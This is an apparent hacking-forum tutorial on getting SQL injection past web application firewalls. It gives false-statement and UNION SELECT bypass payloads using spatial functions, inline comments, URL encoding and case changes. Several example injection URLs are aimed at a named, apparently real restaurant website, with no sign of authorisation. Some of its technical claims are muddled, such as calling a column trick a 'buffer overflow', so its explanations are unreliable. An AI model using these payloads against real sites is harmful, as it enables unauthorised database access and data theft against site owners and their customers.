![[Image: 5N2AIFH.jpg]](https://i.imgur.com/5N2AIFH.jpg)
Hi EveryBody How Are You This Is My Second Tutorial Here Hope You Love My Work As He Help Full
This Is Leasen And All Information Here Come To You By GHI Team Hard Work
In this integrated series we will learning how to byappsing all kinds of WAF method
In Part One We will see how to bypassing False Statement WAF & In Part Two will see how to bypassing Union Based WAF
BTW : I use start * with word's that block by HF firwall Like fro*m , unio*n , selec*t ETC.
Let us learn how to do it ♕
•◘╚╦☆ ↳ Part_One_False_Statement_WAF ⬎ ☆╚╦◘•
A false statement is a statement that is untrue but not necessarily told to mislead, as a statement given by someone who does not know it is untrue ,A false statement need not be a lie.
A lie is a statement that is known to be untrue and is used to mislead. A false statement is a statement that is untrue but not necessarily told to mislead, as a statement
given by someone who does not know it is untrue.
Let us Starting ☺
In Normal Case if you get Forbedden Or Not Acceptable in False Statement ,like And 0 Or Limt 0 ETC. you can BYpassing By My Hot Solution Like.
1- And point(53,12)
In SQL Server spatial data, a Point is a 0-dimensional object representing a single location and may contain Z (elevation) and M (measure) values.
2- And Polygon(Point(53,12))
A Polygon is a two-dimensional surface stored as a sequence of points defining an exterior bounding ring and zero or more interior rings, The function polygon()
only work with the function point() & A MultiPolygon instance is a collection of zero or more Polygon instances.
3- And ST_IsEmpty(0)
ST_IsEmpty — Returns true if this Geometry is an empty geometrycollection, polygon, point etc.
_Example ⬎
PHP Code
<?php
https://pizzacrust.com.pk/deals.php?id=.38" And 0 order by 100 asc-- -
![[Image: fwwPCcf.png]](https://i.imgur.com/fwwPCcf.png)
PHP Code
<?php
https://pizzacrust.com.pk/deals.php?id=.38" And ST_IsEmpty(0) order by 100 asc-- -
![[Image: 53tuAGa.png]](https://i.imgur.com/53tuAGa.png)
PHP Code
<?php
https://pizzacrust.com.pk/deals.php?id=.38" And point(53,12) order by 100 asc-- -
![[Image: Xg2qrCL.png]](https://i.imgur.com/Xg2qrCL.png)
•◘╚╦☆ ↳ Part_Two_Union_Based_WAF ⬎ ☆╚╦◘•
unio*n based sql injection
Information Credit JaNuS18
UNIO*N is used to combine the result fro*m multiple SELEC*T statements into a single result set.
If you want to combine your query with original one (fro*m web page) using UNIO*N, you must have same number of columns in your SELEC*T statement and columns
should have the same data type, That is why you first need to find proper columns count used in original query. Otherwise UNIO*N won't work at all, When you inject
using UNIO*N you try to nullify original query, so data fro*m your query are displayed instead. There, in those vulnerable columns, you can put your SQL commands
which will instruct DB server to give you back some data you want, Normally (some) columns fro*m original query display data fro*m database on web page.
As we nullify original query, our number(s) fro*m injected selec*t (1,2,3,4,5...) are displayed instead. That way we see which columns in original query are
used on that specific web page for displaying data fro*m some table/tables. In such vulnerable columns you can inject your code like versio*n(),databas*e() or syntax,
to display you tables, columns, data fro*m tables... After successful injection data fro*m original query are not displayed (as we nullify it) and data fro*m your injected
SQL is displayed instead.
For better understanding you should learn SQL first.
Let us Starting ☺
In Normal Case if you get Forbedden in 'Unio*n Selec*t' that's mean the waf block 'unio*n' and to bypass you can use comment's like
And if you get Not Acceptable in 'Unio*n Selec*t' that's mean the waf block 'Selec*t' and to bypass you can use comment's like
And if you get Forbedden Or Not Acceptable in 'Unio*n Selec*t' and you can't bypassing the WAF with comment's like /*!50000Unio*n*/ /*!00000Selec*t*/ that's mean the firewall is blocking the combine use of unio*n and selec*t so the waf bypass should be applied in between unio*n and selec*t words.
•◘╚╦☆ ↳ Method To Bypassing WAF That's blocking the combine 'Unio*n Selec*t' ⬎ ☆╚╦◘•
1- By Using Word's in between unio*n and selec*t Like
|Bypass Applied In Between|
_Example ⬎
PHP Code
<?php
www.HF/GHT?id=1' And/**/.0unio*n/*%26*/distinctROW+selec*t@,2,3-- -
2- By Using URL Encode
_Example ⬎
![[Image: z4F5pbb.png]](https://i.imgur.com/z4F5pbb.png)
![[Image: kBXAzU5.png]](https://i.imgur.com/kBXAzU5.png)
3- By Using Alphanumeric letters
| Capital Letters |
_Example ⬎
![[Image: wE76kIP.png]](https://i.imgur.com/wE76kIP.png)
![[Image: YhSQqIA.png]](https://i.imgur.com/YhSQqIA.png)
4- By Using BOF | Buffer Overflow |
There Are Many BOF Solution But I prefer BOF 243 ,With BOF 243 This is the least value you can ever use & this BOF 243 will nulling all columns , so you can't use BOF 242 dosen't work.
•◘╚╦☆ ↳ BOF 243 ⬎ ☆╚╦◘•
_Example ⬎
![[Image: HPOWexa.png]](https://i.imgur.com/HPOWexa.png)
![[Image: mCbjhHN.png]](https://i.imgur.com/mCbjhHN.png)
_Part_One_&_Two_Ending ☣
See You Soon In Part Three
Regards

